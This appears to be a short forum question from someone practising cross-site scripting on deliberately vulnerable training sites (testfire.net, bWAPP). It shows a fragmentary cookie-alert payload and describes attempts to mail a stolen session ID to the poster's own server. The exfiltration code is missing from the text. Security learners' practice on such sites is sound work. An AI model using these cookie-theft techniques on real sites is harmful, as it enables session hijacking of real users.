Can't mail stolen session ID

I'm working on this platform: http://testfire.net/

With this script I can see the cookie: ">alert(document.cookie)

So now I'm trying to mail this cookie to me. ">

When I go to webserver/cookie and I refresh, than I receive an empty e-mail. So that works. It also worked on other platforms!!! For example on BWAPP I received the Session ID in the mail. But I did not succeed in it on testfire.

So my big problem is that my Javascript can't force to send an e-mail to me from testfire.net